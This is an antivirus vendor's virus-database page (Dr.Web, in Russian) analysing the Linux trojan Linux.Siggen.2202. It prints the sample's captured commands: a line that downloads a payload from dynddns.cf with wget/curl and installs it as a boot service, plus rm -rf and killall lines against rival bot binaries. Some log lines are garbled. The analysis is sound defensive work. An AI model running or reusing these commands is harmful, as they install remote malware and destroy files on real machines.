Защити созданное

Другие наши ресурсы

  • free.drweb.ru — бесплатные утилиты, плагины, информеры
  • av-desk.com — интернет-сервис для поставщиков услуг Dr.Web AV-Desk
  • curenet.drweb.ru — сетевая лечащая утилита Dr.Web CureNet!
  • www.drweb.ru/web-iq — ВебIQметр
Закрыть

Библиотека
Моя библиотека

Чтобы добавить ресурс в библиотеку, войдите в аккаунт.

+ Добавить в библиотеку

Ресурсов: -

Последний: -

Моя библиотека

Поддержка
Круглосуточная поддержка | Правила обращения

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум | Бот самоподдержки Telegram

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32 | Skype Telegram

Свяжитесь с нами

Профиль

Профиль

Linux.Siggen.2202

Добавлен в вирусную базу Dr.Web: 2019-10-06

Описание добавлено:

Техническая информация

Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
  • /etc/init.d/start
Вредоносные функции:
Запускает себя в качестве демона
Подменяет имя приложения на:
Управляет службами:
  • update-rc.d start defaultstc/rc.d/dynddns.cftart
  • systemctl enable startysv-install enable startrt
Запускает процессы:
  • sh -c killall Netis >/dev/null 2>&1 & rm -rf *.x86* >/dev/null 2>&1 & killall *.x86* >/dev/null 2>&1 & rm -rf *.arc* >/dev/null 2>&1 & killall *.arc* >/dev/null 2>&1 & rm -rf *.arm* >/dev/null 2>&1 & killall *.arm* >/dev/null 2>&1 & rm -rf *.arm5* >/dev/null 2>&1 & killall *.arm5* >/dev/null 2>&1 & rm -rf *.arm6* >/dev/null 2>&1 & killall *.arm6* >/dev/null 2>&1 & rm -rf *.arm7* >/dev/null 2>&1 & killall *.arm7* >/dev/null 2>&1 & rm -rf *.m68k* >/dev/null 2>&1 & killall *.m68k* >/dev/null 2>&1 & rm -rf *.mips* >/dev/null 2>&1 & killall *.mips* >/dev/null 2>&1 & rm -rf *.mpsl* >/dev/null 2>&1 & killall *.mpsl* >/dev/null 2>&1 & rm -rf *.ppc* >/dev/null 2>&1 & killall *.ppc* >/dev/null 2>&1 & rm -rf *.sh4* >/dev/null 2>&1 & killall *.sh4* >/dev/null 2>&1 & rm -rf *.spc* >/dev/null 2>&1 & killall *.spc* >/dev/null 2>&1 & killall \\" \\" & killall \\" \\" >/dev/null 2>[rkmodule] [<SAMPLE>][PPID:0x2c4] [<SAMPLE>][PID:0x2c6] do_filp_open. Filename: \"/bin/sh\
  • rm -rf *.arc*
  • rm -rf *.arm5*
  • rm -rf *.x86*
  • rm -rf *.arm*
  • rm -rf *.arm7*
  • rm -rf *.arm6*
  • rm -rf *.m68k*
  • rm -rf *.mips*
  • rm -rf *.mpsl*
  • rm -rf *.ppc*
  • rm -rf *.sh4*
  • rm -rf *.spc*
  • sh -c killall Netis >/dev/null 2>&1 & rm -rf *.x86* >/dev/null 2>&1 & killall *.x86* >/dev/null 2>&1 & rm -rf *.arc* >/dev/null 2>&1 & killall *.arc* >/dev/null 2>&1 & rm -rf *.arm* >/dev/null 2>&1 & killall *.arm* >/dev/null 2>&1 & rm -rf *.arm5* >/dev/null 2>&1 & killall *.arm5* >/dev/null 2>&1 & rm -rf *.arm6* >/dev/null 2>&1 & killall *.arm6* >/dev/null 2>&1 & rm -rf *.arm7* >/dev/null 2>&1 & killall *.arm7* >/dev/null 2>&1 & rm -rf *.m68k* >/dev/null 2>&1 & killall *.m68k* >/dev/null 2>&1 & rm -rf *.mips* >/dev/null 2>&1 & killall *.mips* >/dev/null 2>&1 & rm -rf *.mpsl* >/dev/null 2>&1 & killall *.mpsl* >/dev/null 2>&1 & rm -rf *.ppc* >/dev/null 2>&1 & killall *.ppc* >/dev/null 2>&1 & rm -rf *.sh4* >/dev/null 2>&1 & killall *.sh4* >/dev/null 2>&1 & rm -rf *.spc* >/dev/null 2>&1 & killall *.spc* >/dev/null 2>&1 & killall \" \" & killall \" \" >/dev/null 2>&1##[rkmodule] [systemd][PPID:0x1] [systemd-journal][PID:0x8c] vfs_getattr. path: \"/proc/140/cgroup\
  • sh -c cd /etc/init.d;wget http://dynddns.cf/start/help/start -O start;curl http://dynddns.cf/start/help/start -o start;tftp -g -l sshd -r starthelpstart dynddns.cftart;chmod 777 /etc/init.d/startpstart dynddns.cftart;ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart;update-rc.d start defaultstc/rc.d/dynddns.cftart;/lib/systemd/systemd-sysv-install enable startrt;systemctl enable startysv-install enable startrt;chkconfig --add starttysv-install enable startrt;chkconfig start onarttysv-install enable startrt;
  • wget http://dynddns.cf/start/help/start -O start
  • chmod 777 /etc/init.d/startpstart dynddns.cftart
  • ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart
  • /lib/systemd/systemd-sysv-install enable startrt
  • sh -c grep -c ^processor /proc/cpuinfo
  • grep -c ^processor /proc/cpuinfo
  • sh -c free|grep \"Mem:\"|awk '{print $2 \" KB\"}'||printf \"Ram Not Foun
  • free
  • grep Mem:
  • awk {print $2 \" KB\"}
  • sh -c if [ -f /usr/bin/yum ]; then cat /etc/system-release|head -n1; elif [ -f /usr/bin/apt-get ]; then lsb_release -d|awk '{$1= \"\"; print $0}'|head -n1 ; elif [ -f /usr/bin/install ]; then busybox|head -n1|awk '{print $1\" \"$2}';fi||printf \"OS Not Foun
  • lsb_release -d
  • awk {$1= \"\"; print $0}
  • head -n1
  • sh -c uname -r||printf \"No Kernel Version Foun
  • uname -r
  • sh -c uname -n||printf \"No Kernel Node Version Foun
  • uname -n
  • sh -c ps aux | wc -l||printf \"No Process Count Foun
  • ps aux
  • wc -l
Пытается завершает следующие процессы:
  • killall Netis
  • killall *.arc*
  • killall *.x86*
  • killall *.arm*
  • killall *.arm5*
  • killall *.arm6*
  • killall *.arm7*
  • killall *.m68k*
  • killall *.mips*
  • killall *.mpsl*
  • killall *.ppc*
  • killall \" \"
  • killall *.sh4*
  • killall *.spc*
  • killall
  • killall
Выполняет операции с файловой системой:
Удаляет файлы:
  • /root/*.arc*
  • /root/*.arm*
  • /root/*.arm5*
  • /root/*.arm6*
  • /root/*.arm7*
  • /root/*.x86*
  • /root/*.mips*
  • /root/*.m68k*
  • /root/*.ppc*
  • /root/*.mpsl*
  • /root/*.sh4*
  • /root/*.spc*
Сетевая активность:
Ожидает входящих соединений на портах:
  • 127.0.0.1:17386
Устанавливает соединение:
  • <LOCAL_DNS_SERVER>
  • 18#.##2.44.107:2323
HTTP GET-запросы:
  • http://###.###.221.118/mailt/
  • dy#####.cf/start/help/start
DNS ASK:
  • dy##dns.cf
Прочее:
Собирает информацию о CPU
Собирает информацию об оперативной памяти
Собирает информацию о сетевой активности

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру

Российский разработчик антивирусов Dr.Web

Опыт разработки с 1992 года

Dr.Web пользуются в 200+ странах мира

Dr.Web в Реестре Отечественного ПО

Поставка антивируса как услуги с 2007 года

Круглосуточная поддержка на русском языке

© «Доктор Веб»
2003 — 2019

«Доктор Веб» — российский производитель антивирусных средств защиты информации под маркой Dr.Web. Продукты Dr.Web разрабатываются с 1992 года.

125040, Россия, Москва, 3-я улица Ямского поля, вл.2, корп.12А